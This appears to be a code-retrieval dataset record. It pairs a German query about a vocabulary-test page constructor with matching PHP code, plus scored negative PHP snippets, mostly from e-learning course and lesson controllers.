"function main() {\n\t\tif (!$this->_registerPid()) {\n\t\t\t$this->out('Unable to register Pid');\n\t\t\t$this->_stop();\n\t\t}\n\t\tif (file_exists($this->params['working'] . DS . '.autotest')) {\n\t\t\tinclude($this->params['working'] . DS . '.autotest');\n\t\t}\n\t\tif (!empty($this->params['notify'])) {\n\t\t\t$this->settings['notify'] = $this->params['notify'];\n\t\t}\n\t\tif (!empty($this->params['mode'])) {\n\t\t\t$this->settings['mode'] = $this->params['mode'];\n\t\t}\n\t\t$suffix = '';\n\t\tif (!empty($this->settings['mode'])) {\n\t\t\t$suffix = ' (' . $this->settings['mode'] . ' mode)';\n\t\t}\n\n\t\tNotify::$method = $this->settings['notify'];\n\t\t$this->addHooks();\n\t\tNotify::message('Autopilot Starting', 'in ' . APP_DIR . $suffix, 0, false);\n\t\t$this->buildPaths();\n\t\t$this->run();\n\t}",
"abstract public function run();",
"abstract public function run();",
"abstract public function run();",
"abstract public function run();",
"abstract public function run();",
"abstract public function run();",
"abstract public function run();",
"abstract public function run();",
"public function generatePage_whichScript() {}",
"protected function _exec()\n {\n }",
"function drush_boilerplate_callback() {\n // Default argument values.\n $arg1 = 'default argument 1';\n $arg2 = 'default argument 2';\n\n // Get the arguments from CLI.\n $args = func_get_args();\n if (!empty($args[0])) $arg2 = $args[0];\n if (!empty($args[1])) $arg2 = $args[1];\n\n drush_log(dt('This is a custom Drush command. Argument 1: @arg1. Argument 2: @arg2.', [\n '@arg1' => $arg1,\n '@arg2' => $arg2,\n ]), 'ok');\n}",
"public function __invoke()\n {\n $filename = $this->file;\n if ($filename instanceof LazyInterface) {\n $filename = $filename->__invoke();\n }\n\n $params = $this->params;\n if ($params instanceof LazyInterface) {\n $params = $params->__invoke();\n }\n foreach ($params as $k => $v) {\n while ($v instanceof LazyInterface) {\n $v = $v->__invoke();\n }\n $params[$k] = $v;\n }\n\n return ScriptRunner::which()->requires($filename)->with($params)->run();\n }",
"abstract public function doAction($argv);",
"function broadway_scripts(){\n}",
"private function parseArgs(){\n $args=$GLOBALS['argv'];\n $this->fileMode = 'w';\n \n if (count($args) < 2) {\n die(\"\\nNo conversion script selected\\n\\nUsage: php CreateFileFromCsv.php updateShipping [--verbose] [--sample] [--append]\\n\\n\");\n }\n\n $scriptName = $args[1];\n\n if($scriptName == 'list') {\n $this->listScripts();\n die(\"\\n\\n\");\n }\n\n if (class_exists($scriptName, true)) {\n $this->script = new $scriptName();\n } else {\n die(\"\\nCould not find script model of class $scriptName\\n\\n\");\n }\n\n unset($args[0], $args[1]);\n \n foreach($args as $arg) {\n\n $a = explode('=', $arg);\n\n switch(strtolower($a[0])) {\n case '--verbose':\n $this->verbose = true;\n break;\n \n case '--sample':\n if($a[1] ?? null && is_numeric($a[1])) {\n $this->sample = $a[1];\n echo \"Number of samples: {$this->sample}\";\n } else {\n $this->sample = 1;\n }\n\n $this->verbose = true;\n break;\n \n case '--append':\n $this->fileMode = 'a';\n break;\n\n case '--input':\n if($a[1]) {\n $this->input = $a[1];\n } else {\n die(\"No file specified with --input\");\n }\n break;\n\n case '--output':\n if($a[1]) {\n $this->output = $a[1];\n } else {\n die(\"No file specified with --output\");\n }\n break;\n\n case '--nonewline':\n $this->newline = '';\n break;\n\n case '--newline':\n $this->newline = \"\\n\";\n break;\n }\n }\n }",
"abstract function start();",
"abstract public function start();",
"abstract public function start();",
"function run();",
"function run();",
"private function parse_args() {\n\t\t//exit;\t\t\n\t}",
"function main()\n{\n\t\t$version = $_GET[\"version\"];\n\t\t$jsfile = DIR.\"/mxClient-$version.js\";\n\t\t\n\t\tdeliver(getScript($jsfile));\n}",
"public function run () {\n\t\trequire_once $this->pluginFile;\n\t}"
] | [
"0.69523233",
"0.6590482",
"0.65901434",
"0.6532145",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.6522194",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.652196",
"0.64816463",
"0.64780694",
"0.6414919",
"0.6348937",
"0.62545455",
"0.6117848",
"0.6033255",
"0.60161394",
"0.60161394",
"0.5902371",
"0.5885155",
"0.5885155",
"0.5874466",
"0.5870962",
"0.5868777",
"0.58657455",
"0.5862756",
"0.58535326",
"0.5852329",
"0.585214",
"0.58520895",
"0.58354586",
"0.5824531",
"0.5824531",
"0.5824531",
"0.5824531",
"0.5824531",
"0.5824531",
"0.5824531",
"0.5824531",
"0.5820248",
"0.58036983",
"0.57835686",
"0.5782051",
"0.57662934",
"0.5755764",
"0.57473004",
"0.574446",
"0.5731954",
"0.5731954",
"0.5707649",
"0.5707649",
"0.57021713",
"0.5676538",
"0.56716466"
] | 0.0 | -1 |
Der Konstruktor bearbeitet die GETVariablen und speichert sie in $pageState. Bei der VokabeltestSeite wird die entsprechende $lesson intialisiert. Des weiteren wird hier der Titel der Webseite festgelegt. | public function __construct() {
if (isset ( $_GET ['q'] )) {
switch ($_GET ['q']) {
case 'select' :
$this->state = PageState::Selection;
$this->setTitle ( 'Auswahl' );
break;
case 'stats' :
$this->state = PageState::Statistics;
$this->setTitle ( 'Statistik' );
break;
case 'setup' :
$this->state = PageState::Setup;
$this->setTitle ( 'Setup' );
break;
case 'lesson' :
// Lektion ausgewählt?
if (isset ( $_GET ['l'] )) {
// Andere Abfragerichtung?
if (isset ( $_GET ['r'] ))
$this->reverse = true;
$answerLines = array (
- 1
);
// Antwort auf Abfrage?
if ($_SERVER ['REQUEST_METHOD'] === 'POST') {
$this->state = PageState::LessonAnswer;
$answerLines = $this->getPostAnswers ();
}
// erstelle neue Lektion
$this->lesson = new Lesson ( $_GET ['l'], $this->reverse, $answerLines );
if ($answerLines [0] < 0) {
// Wenn es keine Antwort ist, prüfe ob Lektion ok ist.
if ($this->lesson->isValidLesson ()) {
$this->state = PageState::Lesson;
$this->setTitle ( 'lesson' );
} else {
$this->state = PageState::WrongLesson;
$this->setTitle ( 'Falsche Auswahl' );
}
} else {
// Wenn es eine Antwort ist, protokolliere die Antwort
$this->setTitle ( 'lesson' );
$this->logAnswer ();
}
} else {
$this->state = PageState::NoLesson;
$this->setTitle ( 'Keine Auswahl' );
}
break;
case 'task' :
$this->state = PageState::Task;
$this->setTitle ( 'Beschreibung' );
break;
}
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function __construct($lesson)\n {\n $this->lesson = $lesson;\n }",
"public function __construct() {\r\n\t\t$this->page = isset($_GET['page']) ? $_GET['page'] : null;\r\n\t}",
"public function __construct()\n {\n $this->url = isset($_GET['url']) ? filter_var(rtrim($_GET['url'], FILTER_SANITIZE_URL)) : self::LANDING_PAGE;\n }",
"function learn_press_course_lesson_data() {\n\t\t$course = LP()->course;\n\t\tif ( ! $course ) {\n\t\t\treturn;\n\t\t}\n\t\tif ( ! ( $lesson = $course->current_lesson ) ) {\n\t\t\treturn;\n\t\t}\n\t\t?>\n <input type=\"hidden\" name=\"learn-press-lesson-viewing\" value=\"<?php echo $lesson->id; ?>\"/>\n\t\t<?php\n\t}",
"public function lesson($course_id, $lesson_id = null) {\n\n\t\t$enrolled_expiry_date = get_user_enrolled_course_expiry_date($this->session->userdata('user_id'), $course_id);\n\t\t$current_date = date('Y-m-d');\n\t\t\t\n\t\tif($enrolled_expiry_date == $current_date){\n\t\t\tredirect(base_url('home/course_expiry'));\n\t\t}\n\t\n\t\t$user_course_access_info = access_in_a_course($this->session->userdata('user_id'), $course_id);\n\t\t$this->page_data['user_course_access_info'] = $user_course_access_info;\n\t\n\n\t\tif (!$user_course_access_info['has_enrolled']) {\n\t\t\n\t\t\tredirect(base_url('home/page_not_found'));\n\t\t} else {\n\n\t\t\t$this->page_data['page_name'] = \"lesson\";\n\t\t\t$this->page_data['page_view'] = 'user/lesson';\n\n\t\t\t$this->page_data['course_details'] = $this->course_model->get_course_list(\n\t\t\t\t\"OBJECT\",\n\t\t\t\tarray('id', 'title', 'slug', 'certificate', 'short_description', 'language', 'level', 'description', 'outcomes', 'requirements', 'instructor_id', 'mock_test'),\n\t\t\t\tarray('id' => $course_id)\n\t\t\t)[0];\n\n\n\t\t\tif($this->page_data['course_details']->instructor_id != 0){\n\n\t\t\t\t$this->page_data['instructor_details'] = $this->user_model->get_user_by_id($this->page_data['course_details']->instructor_id, array('id', 'first_name', 'last_name', 'phone', 'email', 'biography', 'social_links', 'profile_photo_name', 'instructor'));\n\t\t\t}\n\t\t\t\n\t\t\t$this->page_data['next_lesson_id'] = null;\n\n\t\t\t$this->page_data['course_details']->enrollment = $this->crud_model->get_enroll_count_of_a_course($this->page_data['course_details']->id);\n\t\t\t$this->page_data['course_details']->outcomes = json_decode($this->page_data['course_details']->outcomes);\n\t\t\t$this->page_data['course_details']->requirements = json_decode($this->page_data['course_details']->requirements);\n\n\t\t\t$this->page_data['page_title'] = $this->page_data['course_details']->title;\n\t\t\t$this->page_data['course_details']->section_list = $this->section_model->get_section_list_by_course_id($this->page_data['course_details']->id, array('id', 'title', 'rank'));\n\n\t\t\t$this->page_data['course_details']->duration_in_second = 0;\n\t\t\t$this->page_data['course_details']->lesson_count = 0;\n\n\n\t\t\tfor ($i = 0; $i < count($this->page_data['course_details']->section_list); $i++) {\n\t\t\t\t$this->page_data['course_details']->section_list[$i]->lesson_list = $this->lesson_model->get_lesson_list_by_section_id($this->page_data['course_details']->section_list[$i]->id, array('id', 'title', 'duration_in_second', 'rank', 'section_id', 'vimeo_id', 'lesson_file as lesson_file_list'));\n\t\t\t\tfor ($j = 0; $j < count($this->page_data['course_details']->section_list[$i]->lesson_list); $j++) {\n\t\t\t\t\tif ($this->page_data['course_details']->section_list[$i]->lesson_list[$j]->lesson_file_list != null) {\n\t\t\t\t\t\t$this->page_data['course_details']->section_list[$i]->lesson_list[$j]->lesson_file_list = json_decode($this->page_data['course_details']->section_list[$i]->lesson_list[$j]->lesson_file_list);\n\n\t\t\t\t\t\t$this->page_data['course_details']->section_list[$i]->lesson_list[$j]->lesson_quiz = $this->quiz_model->get_quiz_set_list(\n\t\t\t\t\t\t\t\"OBJECT\",\n\t\t\t\t\t\t\ttrue,\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'quiz_set' => array('id', 'name', 'question_id_list', 'duration', 'free_access'),\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'lesson_id' => $this->page_data['course_details']->section_list[$i]->lesson_list[$j]->id,\n\t\t\t\t\t\t\t\t'course_id' => $course_id,\n\t\t\t\t\t\t\t\t'type' => 'END',\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// debug($this->page_data['course_details']->section_list[$i]->lesson_list[$j]->lesson_quiz);\n\n\t\t\t\t\t}\n\t\t\t\t\t$this->page_data['course_details']->duration_in_second += $this->page_data['course_details']->section_list[$i]->lesson_list[$j]->duration_in_second;\n\t\t\t\t\t$this->page_data['course_details']->lesson_count++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->page_data['lesson_id'] = $lesson_id;\n\t\t\t$this->page_data['lesson_info'] = null;\n\t\t\tif(!$this->page_data['course_details']->mock_test){\n\t\t\t\tif ($this->page_data['lesson_id'] == null) {\n\t\t\t\t\t$this->page_data['lesson_id'] = $this->page_data['course_details']->section_list[0]->lesson_list[0]->id;\n\t\t\t\t}\n\n\t\t\t\tif (!in_array($this->page_data['lesson_id'], $user_course_access_info['lesson_id_list'])) {\n\t\t\t\t\tredirect(base_url('home/page_not_found'));\n\t\t\t\t}\n\n\n\t\t\t\t$this->page_data['lesson_info'] = $this->lesson_model->get_lesson_list('OBJECT', array('id', 'section_id', 'vimeo_id', 'summary', 'title', 'duration_in_second', 'lesson_file', 'rank', 'video_type', 'video_id'), array('id' => $this->page_data['lesson_id']), null)[0];\n\n\t\t\t\t$this->page_data['next_lesson'] = $this->course_model->getNextLessonId($course_id,$this->page_data['lesson_info']->section_id, $this->page_data['lesson_info']->rank);\n\n\t\t\t\t$this->page_data['next_lesson_id'] = 0;\n\n\t\t\t\tif(isset($this->page_data['next_lesson'][0])){\n\t\t\t\t\t$this->page_data['next_lesson_id'] = $this->page_data['next_lesson'][0]->id;\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->page_data['lesson_info_json'] = $this->lesson_model->get_lesson_list('OBJECT', array('id', 'section_id', 'vimeo_id', 'title', 'duration_in_second', 'rank', 'video_type', 'video_id'), array('id' => $this->page_data['lesson_id']), null)[0];\n\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$quiz_list = $this->quiz_model->get_quiz_set_list(\n\t\t\t\t\"OBJECT\",\n\t\t\t\ttrue,\n\t\t\t\tarray(\n\t\t\t\t\t'quiz_set' => array('id', 'name', 'question_id_list', 'duration', 'free_access'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'lesson_id' => $this->page_data['lesson_id'],\n\t\t\t\t\t'type' => 'END',\n\t\t\t\t)\n\t\t\t);\n\n\t\t\t$this->page_data['course_quiz_list'] = $this->quiz_model->get_quiz_set_list(\n\t\t\t\t\"OBJECT\",\n\t\t\t\ttrue,\n\t\t\t\tarray(\n\t\t\t\t\t'quiz_set' => array('id', 'name', 'question_id_list', 'duration', 'free_access'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'lesson_id' => null,\n\t\t\t\t\t'course_id' => $course_id,\n\t\t\t\t\t'type' => 'END'\n\t\t\t\t)\n\t\t\t);\n\t\t\n\n\t\t\tif (count($quiz_list) > 0) {\n\t\t\t\t$this->page_data['quiz'] = $quiz_list[rand(0, count($quiz_list) - 1)];\n\t\t\t\tfor ($i = 0; $i < count($this->page_data['quiz']->question_list); $i++) {\n\t\t\t\t\t$this->page_data['quiz']->question_list[$i]->option_list = json_decode($this->page_data['quiz']->question_list[$i]->option_list);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->page_data['quiz'] = null;\n\t\t\t}\n\n\t\t\t\n\n\t\t\tif(!$this->page_data['course_details']->mock_test){\n\n\t\t\t\tif (count($this->page_data['course_quiz_list']) > 0) {\n\t// $this->page_data['course_quiz'] = $course_quiz_list[rand(0, count($course_quiz_list) - 1)];\n\t\t\t\t\tfor ($j = 0; $j < count($this->page_data['course_quiz_list']); $j++) {\n\t\t\t\t\t\tfor ($i = 0; $i < count($this->page_data['course_quiz_list'][$j]->question_list); $i++) {\n\t\t\t\t\t\t\t$this->page_data['course_quiz_list'][$j]->question_list[$i]->option_list = json_decode($this->page_data['course_quiz_list'][$j]->question_list[$i]->option_list);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$this->page_data['course_quiz_list'] = null;\n\t\t\t\t}\n\n\n\n\t\t\t\tif ($this->page_data['lesson_info']->id) {\n\t\t\t\t\t$this->page_data['user_lesson_status'] = $this->lesson_model->get_lesson_status(\n\t\t\t\t\t\t\"OBJECT\",\n\t\t\t\t\t\tarray('finished_time', 'lesson_id', 'user_id', 'id'),\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'user_id' => $this->session->userdata('user_id'),\n\t\t\t\t\t\t\t'lesson_id' => $this->page_data['lesson_info']->id,\n\t\t\t\t\t\t)\n\t\t\t\t\t);\n\n\t\t\t\t}\n\n\t\t\t\t$this->page_data['lesson_duration'] = $this->lesson_model->get_lesson_list_by_users_status(\n\t\t\t\t\t$this->session->userdata('user_id'),\n\t\t\t\t\t'OBJECT',\n\t\t\t\t\tarray(\n\t\t\t\t\t\t\n\t\t\t\t\t\t// 'user_lesson_status' => array('finished_time', 'updated_at'),\n\t\t\t\t\t\t'lesson' => array('id', 'title', 'duration_in_second'),\n\t\t\t\t\t),\n\t\t\t\t\tarray('course_id' => $course_id)\n\t\t\t\t);\n\n\n\t\t\t\t\t$this->page_data['total_course_duration'] = 0;\n\t\t\t\t\t$this->page_data['total_user_lesson_duration'] = 0;\n\t\t\t\t\t$this->page_data['total_percentage'] = 0;\n\t\t\t\t\tforeach ($this->page_data['lesson_duration'] as $lesson) {\n\n\t\t\t\t\t\t$this->page_data['total_course_duration'] = $this->page_data['total_course_duration'] + $lesson->duration_in_second;\n\n\t\t\t\t\t\t$this->page_data['total_user_lesson_duration'] = $this->page_data['total_user_lesson_duration'] + $lesson->finished_time;\n\n\t\t\t\t\t}\n\t\t\t\t\tif($this->page_data['total_user_lesson_duration'])\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->page_data['total_percentage'] = round(($this->page_data['total_user_lesson_duration'] * 100) / $this->page_data['total_course_duration']);\n\t\t\t\t\t}\n\t\t\t\t\t\n\n\n\n\t\t\t\t\t \n\t\t\t\t /* Email send when course complete or 90 %*/ \n\t\t\t\t\tif ($this->page_data['total_percentage'] > 90) {\n\t\t\t\t\t\tif ($this->page_data['course_details']->certificate) {\n\t\t\t\t\t\t $image_path = $_SERVER['DOCUMENT_ROOT'] . '/eduera/assets/frontend/certificate/';\n\n\t\t\t\t\t\t $verify_certificate_mail = $this->crud_model->get_enrollment_list(\n\t\t\t\t\t\t \t\"OBJECT\",\n\t\t\t\t\t\t \tarray('certificate_mail_send'),\n\t\t\t\t\t\t \tarray(\"user_id\" => $this->page_data['user_data']->id, \"course_id\" => $this->page_data['course_details']->id)\n\t\t\t\t\t\t \t )[0];\n\t\t\t\t\t\t \n\t\t\t\t\t\t if($verify_certificate_mail->certificate_mail_send == 0){\n\t\t\t\t\t\t\t \t$email_msg = $this->load->view('template/certificate_email', $this->page_data, true);\n\t\t\t\t\t\t\t \t$subject = 'Your completion certificate is ready for \"'.$this->page_data['course_details']->title .'\"';\n\t\t\t\t\t\t\t \t\n\t\t\t\t\t\t\t \t$mail_send_done = $this->email_model->send_certificate_mail($this->page_data['user_data']->email, $email_msg, $subject);\n\n\t\t\t\t\t\t\t \tif($mail_send_done == 1){\n\t\t\t\t\t\t\t \t\t\t$data['certificate_mail_send'] = 1;\n\t\t\t\t\t\t\t \t\t\t$this->crud_model->update_user_certificate_serial_no($this->page_data['course_details']->id, $this->page_data['user_data']->id, $data);\n\t\t\t\t\t\t\t \t}\n\t\t\t\t\t\t }\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->page_data['course_notes'] = $this->course_model->get_course_notes($course_id, $this->page_data['lesson_id'], $this->session->userdata('user_id'));\n\t\t\t}\n\t\t\t\n\n\t\t\t/* Question and Answer*/\n\n\t\t\t$this->page_data['question_and_ans_list'] = $this->instructor_model->get_question_and_answer($course_id);\n\t\t\t\n\t\t\tfor($i = 0; $i < count($this->page_data['question_and_ans_list']); $i++){\n\t\t\t\t$this->page_data['question_and_ans_list'][$i]->replay = $this->instructor_model->get_all_replay_message_list(\n\t\t\t\t\t\"OBJECT\",\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'question_replay' => array('id')\n\t\t\t\t\t),\n\t\t\t\n\t\t\t\t\tarray('question_id' => $this->page_data['question_and_ans_list'][$i]->id)\n\t\t\t\t\t);\n\n\t\t\t}\n\n\t\t\t/* Announcement*/\n\t\t\n\t\t\t\t$this->page_data['announcement_list'] = $this->instructor_model->get_all_announcement(\n\t\t\t\t\t'OBJECT',\n\t\t\t\t\t array(\n\t\t\t\t\t \t'announcement' => array( 'id', 'title', 'description', 'instructor_id', 'created_at'),\n\t\t\t\t\t \t'user' => array('first_name', 'last_name', 'profile_photo_name')\n\t\t\t\t\t ),\n\t\t \t\t\tarray('course_id' => $course_id)\n\t\t\t\t);\n\n\t\t\t\t\n\t\t\t\tif(!$this->page_data['course_details']->mock_test){\n\t\t\t\t\t$this->page_data['section_info'] = $this->section_model->get_section_list(\n\t\t\t\t\t\t'OBJECT',\n\t\t\t\t\t\tarray('id', 'title', 'rank'),\n\t\t\t\t\t\tarray('id' => $this->page_data['lesson_info']->section_id)\n\t\t\t\t\t) ;\n\t\t\t\t}\n\n\t\t\t\n\n\t\t\t\t$this->page_data['course_review'] = $this->course_model->get_course_review_data($course_id, \"OBJECT\");\n\t\t\t\t\n\t\t\t\t$this->page_data['wishes'] = is_course_in_wishlist($course_id, $this->session->userdata('user_id'));\n\t\t\t\t// debug($this->page_data['wishes']);\n\n\t\t\t\n\t\t\t$this->load->view('index', $this->page_data);\n\t\t}\n\n\t}",
"final protected function get_lesson() {\n return $this->lesson;\n }",
"public function lecture_page(){\n\t\tglobal $wpdb;\n\t\t$page_base = $this->page_url();\n\t\t// query_posts(array( \n\t\t// 'post_type' => 'assignment',\n\t\t// 'course_assigned' => 562,\n\t\t// 'showposts' => 10,\n\t\t// 'orderby' => 'title',\n\t\t// 'order' => 'ASC'\n\t\t// ) );\n\t\tob_start();\n\t\t?>\n\t\t<div class=\"wp_lms wrap settings\">\n\t\t\t<h1>Lectures</h1>\n\t\t\t<h2>\n\t\t\t<a href=\"http://grand/wp-admin/post-new.php?post_type=assignment&course=568\" class=\"add-new-h2\">Add Assignment</a>\n\t\t\t</h2>\n \t\t\t<? wp_lms_html_gen::form_open(array(\"post_type\" => \"assignment\", \"_course\" => \"566\", \"showposts\" => \"10\"), $page_base ) ?>\n \t\t\t<h2>Pages</h2>\n\t\t\t<?\n\t\t\tforeach( $this->menu_pages as $k => $v ) {\n\t\t\t?>\n\t\t\t\t<p><?= $k; ?> <?= $v; ?></p>\n\t\t\t<?\n\t\t\t}\n\t\t\t$class_num = \"568\";\n\t\t\t$instructor_num = \"Douglas Brull\";\n\t\t\t$the_post_type = 'lecture';\n\t\t\t$the_course_term = \"course_nu\";\n\t\t\t$the_instructor_term = \"instructor_name\";\n\t\t\t$args = array(\n\t\t\t\t'sort_column' => 'menu_order',\n\t\t\t\t'post_type' => $the_post_type,\n\t\t\t\t\"course_nu\" => $class_num,\n\t\t\t\t'instructor_name' => $instructor_num,\n\t\t\t\t'post_status' => 'publish'\n\t\t\t);\n\t\t\t$pages = get_pages( $args );\n\t\t\t$page_query = new WP_Query();\n\t\t\t$all_pages = $page_query->query( array( 'post_type' => $the_post_type, 'post_status' => 'publish', 'posts_per_page' => -1 ) );\n\t\t\t$parent_count = 0;\n\t\t\tforeach( $pages as $k => $p ){ \n\t\t\t\tif( $p->post_parent == 0 && has_term( $class_num, $the_course_term, $p->ID ) && has_term( $instructor_num, $the_instructor_term, $p->ID ) ) {\n\t\t\t\t\t$parent_count++;\n\t\t\t\t\t$page_children = get_page_children( $p->ID, $all_pages );\n\t\t\t\t\t$hasChildren = \"\";\n\t\t\t\t\tif( !empty( $page_children ) ) {\n\t\t\t\t\t\t$hasChildren = \" children\";\n\t\t\t\t\t\t$parentName = $p->post_name;\n\t\t\t\t\t\tusort( $page_children, array($this, 'sort_menu_order') );\n\t\t\t\t\t\t?>\n\t\t\t\t\t\t<h1><?= $parentName; ?></h1>\n\t\t\t\t\t\t<?php\n\t\t\t\t\t\tforeach( $page_children as $key => $val ) {\n\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t<h2><?= $val->post_title; ?></h2>\n\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t\telse if( empty($page_children ) ) {\n\t\t\t\t\t\t$parentName = $p->post_name;\n\t\t\t\t\t\t?>\n\t\t\t\t\t\t<h1><?= $parentName; ?></h1>\n\t\t\t\t\t\t<?php\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t?>\n\t\t</div>\n\t\t<?\n\t\tob_end_flush();\n\t}",
"public function __construct(){\r\n $pageRequest ='homepage';\r\n //check if there are parameters\r\n if(isset($_REQUEST['page'])) {\r\n\r\n //load the type of page the request wants into page request\r\n \r\n $pageRequest = $_REQUEST['page'];\r\n }\r\n //instantiate the class that is being requested\r\n $page = new $pageRequest;\r\n\r\n if($_SERVER['REQUEST_METHOD'] == 'GET') {\r\n $page->get();\r\n } else {\r\n $page->post();\r\n }\r\n\r\n\r\n\r\n }",
"function set_lessonpageid($pageid) {\n $this->lessonpageid = $pageid;\n }",
"public function __construct()\n\t{\n\t parent::__construct();\n\t $this->CurrentStep = isset( $_REQUEST['_step'] ) ? (int) $_REQUEST['_step'] : 1;\n\t}",
"public function create($category=NULL, $course=NULL, $lesson=NULL){\t\n\t //------------------Data Storage------------------\n\t\t//Shared data for connecting links(Create/View)\n\t\t$this->data['type']='create';\n\t\t$this->data['linked']='view';\n\t\t//Default values \n\t\t$this->data['category']=NULL;\n\t\t$this->data['course']=NULL;\n\t\t//Passing in the uri elements back to views(Mostly used for creating links)\n\t\t$this->data['category_current']=$category;\n\t\t$this->data['course_current']=$course;\n\t\t$this->data['lesson_current']=$lesson;\n\t //------------------Data Storage------------------\n\t\t\n\t\t// Description: Main Logic for determening what part of the page we are ona and what views are active\n\t\tif($category != NULL OR $this->category_m->get_by_id($category) != NULL ){\n\t\t\t/*==========================CATEGORY IS AVAILABLE IN THE URL=====================================\n\t\t\t * Description: First we are checking the category element of the URL.\n\t\t\t *\t\t\t\tIf the we have a category we will load the \"main_lesson_cat_list\" view and get all the data on the specific category.\n\t\t\t *\t\t\t\t@param object $this->data['category']\n\t\t\t */\t\t\t\t\n\t\t\t\n\t\t\t$this->data['category']=$this->category_m->get_by_id($category, false);\n\t\t\t$this->data['category_view']='/en/1-admin/components/views/main_lesson_cat_list';\n\n\t\t\t// Get the number of courses available in this category and an exception if no courses are available\n\t\t\tif(count($this->course_m->get_by_category($category, false)) != NULL){\n\t\t\t\t$this->data['category']->count=count($this->course_m->get_by_category($category, false));\n\t\t\t}else{\n\t\t\t\t$this->data['category']->count=0;\n\t\t\t}\n\n\t\t\t// Checking if we have a valid course in the URL\n\t\t\tif($course != NULL OR $this->course_m->get_by_id($course) != NULL ){\n\t\t\t\t\n\t\t\t\t/*=======================================COURSE IS AVAILBLE IN THE URL============================\n\t\t\t\t *\tDescription: We have a valid category_id and a valid course_id in the url.\n\t\t\t\t *\t\t\t\t we are putting all our course data in $this->data['course'].\n\t\t\t\t */\n\t\t\t\t$this->data['course']=$this->course_m->get_by_id($category, false);\n\t\t\t\t\n\t\t\t\t// Counting all the lessons in a specific course and amking an exception for courses with zero entries\n\t\t\t\t// Function get_by_cou_and_cat is checking if the category and course id match with an existing course\n\t\t\t\tif($this->course_m->get_by_cou_and_cat($category, $course) == NULL){\n\t\t\t\t\t$this->session->set_flashdata('error', $this->lang->line('error_flash_not_valid'));\n\t\t\t\t\tredirect($this->data['language'].'/admin/lesson/create/'.$category, 'refresh');\n\t\t\t\t\t}\n\t\t\t\t// Counting how meni lessons there are in a course and adding exception for zero\n\t\t\t\tif(count($this->lesson_m->get_by_course($course))!=NULL)\n\t\t\t\t\t$this->data['course_count']=count($this->lesson_m->get_by_course($course));//correct\n\t\t\t\telse\n\t\t\t\t\t$this->data['course_count']=0;\n\n\t\t\t\t// Check lesson_id in the URL\n\t\t\t\t\tif($lesson != NULL AND $this->lesson_m->get_by_id('lesson_id',$lesson)){\n\t\t\t\t\t\t/*=== LESSON IS AVAILBLE IN THE URL =====\n\t\t\t\t \t \t *\tDescription: we are checking for the last component in the entry.\n\t\t\t\t \t \t * \t\t\t if we have it we will load data so it will be displayed for the edit lesson screen\n\t\t\t\t \t \t */\n\t\t\t\t\t\t$l=$this->lesson_m->get_by_id('lesson_id',$lesson);\n\t\t\t\t\t\t$this->data['l_data']=$l[0]; \n\t\t\t\t\t}\n\n\t\t\t\t// Load language and course data\n\t\t\t\t$this->data['course']=$this->course_m->get_by_cou_and_cat($category, $course);\n\t\t\t\t$this->data['language_lesson']=$this->language_m->get_all();\n\n\t\t\t\t//Loading subviews and main view\n\t\t\t\t$this->data['course_view']='/en/1-admin/components/views/main_lesson_course_list';\n\t\t\t\t$this->data['lesson_view']='/en/1-admin/components/views/main_lesson_create_form';\n\t\t\t}\n\t\t\telse{\n\t\t\t\t/*=======================================COURSE IS NOT AVAILBLE IN THE URL============================\n\t\t\t\t *\tDescription: We have a valid category_id and not a valid course_id in the url.\n\t\t\t\t *\t\t\t\t We are getting all the courses and putting them in view so the user can select a course\n\t\t\t\t */\n\t\t\t\t// Get all courses with a category_id\n\t\t\t\t$this->data['course_all']=$this->course_m->get_by_id($category, false);\n\n\t\t\t\t//Go trough them in a loop and add lesson counter\n\t\t\t\tforeach($this->data['course_all'] as $key => $courses){\n\t\t\t\t\tif(count($this->lesson_m->get_by_course($course))!=NULL)\n\t\t\t\t\t\t$this->data['course_all'][$key]->count=count($this->lesson_m->get_by_course($course));//correct\n\t\t\t\t\telse\n\t\t\t\t\t\t$this->data['course_all'][$key]->count=0;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Load the view\n\t\t\t\t$this->data['course_view']='/en/1-admin/components/views/main_lesson_course_select';\t\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\t/*=======================================CATEGORY IS NOT AVAILBLE IN THE URL============================\n\t\t\t\t *\tDescription: We have don't a valid category_id in the url.\n\t\t\t\t *\t\t\t\t We are getting all the categories and putting them in view so the user can select a course\n\t\t\t\t 